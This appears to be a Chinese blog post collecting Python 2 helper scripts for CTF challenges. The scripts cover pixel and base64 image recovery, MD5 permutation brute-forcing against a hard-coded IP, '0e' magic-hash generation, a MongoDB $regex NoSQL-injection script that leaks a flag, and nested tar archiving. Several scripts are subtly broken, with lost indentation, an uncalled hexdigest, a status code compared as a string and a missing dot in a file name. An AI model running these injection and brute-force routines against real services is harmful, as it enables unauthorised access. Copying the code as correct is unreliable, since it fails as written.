積累一點ctf需要掌握的常見腳本知識

1.利用像素點還原圖片。

from PIL import Image
import re
if __name__ == '__main__':
    x = 887 //將像素點個數進行分解，可以確定圖片的長寬
    y = 111
    i = 0
    j = 0
     
    c = Image.new("RGB", (x,y))
    file_object = open('ce.txt') //ce.txt中保存着像素點的坐標
     
    for i in range(0,  x): 
        for j in range(0,  y):
            line = file_object.next() //每次讀取一個像素點
            lst = line.split(",") //lst生成一個元組
            c.putpixel((i, j), (int(lst[0]), int(lst[1]), int(lst[2])))
     
    c.show()
    c.save("c.png")

 

2.py requests方法的利用以及利用正則匹配查找文本暴力破解md5值。

#coding : utf8
import requests
import re
import hashlib
import itertools
s = requests.session()  //建立一個session對話
url = "http://106.75.67.214:2050/?pass=bee7a613a8fa4f2f"
data = {'PHPSESSID':'6h7b4caq8bo41i3m5fg2983cq5'}
content = s.get(url=url,data=data)
target = re.findall("sh\"\>(.*)\<",content.text) 
target = target[0]
poc = re.findall("code\"\>(.*)\<",content.text)
str1 = poc[0]
a = [''.join(x) for x in itertools.permutations(str1, 9)]  //join方法是通過指定的字符串來連接序列元素從而構成新字符串,permutations用來生成無重復字符的元組
for i in range(0,len(a)):
final = hashlib.md5(a[i])
if final.hexdigest() == target:
flag = s.get(url="http://106.75.67.214:2050/?code="+a[i])
print flag.content
print flag.headers

 3.利用py將base64編碼的字符串還原成圖片

import os,base64   
strs='''''sdasdas==''' //已經編碼的base64字符串 
  
imgdata=base64.b64decode(strs)  
file=open('1.jpg','wb')  
file.write(imgdata)  
file.close() 

 4.生成0e哈希值：

#coding:utf-8
import hashlib
import itertools
def go():
    payload = [c for c in "qwertyuioplkjhgfdsazxcvbnm123654789"]
    i = 0
    print payload
    for j in itertools.product(payload,repeat=30): #repeat參數指定長度
        payloads = "".join(j)
        #print pow
        #i = i+ 1
        #if i == 10:
        #    break
        str1 = hashlib.md5(payloads).hexdigest + "SALT"
        str2 = hashlib.md5(str1)
        if (str2[0]=="0") & (str2[1]=="e") & (str2[2:].isdigit()):
            print payloads
go()

5.mongodb基於正則注入：

#coding:utf-8
import requests
import string
# print string.ascii_letters
# print string.digits
flag = "c1ctf{"
payload = string.ascii_letters + string.digits

url = "http://xx.x.x.x/index.php?"
restsrt = True
while restsrt:
    restsrt = False
    for i in payload:
        payloads = flag + i
        post_data = {"username":"admin","passwd[$regex]":flag+".*"}
        #post_data = {"username":"admin","passwd[$regex]":"^"+flag}
        r = requests.get(url = url,data = post_data,allow_redirects = False)
        if r.status_code == "302":
            print payloads
            flag = flag + i
            restsrt =True
            if i == "}":
                exit(0)
            break
        

6.多次壓縮打包

#coding:utf-8
import tarfile
for i in range(1,2):
    tfile = tarfile.open("shell0.tar.gz","w:gz") #打包壓縮
    tfile.add("flag.py")
    tfile.close()

for i in range(1,300):
    tfile = tarfile.open("shell"+str(i)+".tar.gz","w:gz")
    tfile.add("1.php")
    tfile.add("shell"+str(i-1)+".tar.gz")
    tfile.close()

7.多次解壓：

#coding:utf-8
import tarfile
for i in range(1,300)[::-1]:
    file = tarfile.open("shell"+str(i)+"tar.gz")
    file.extractall()
    file.close()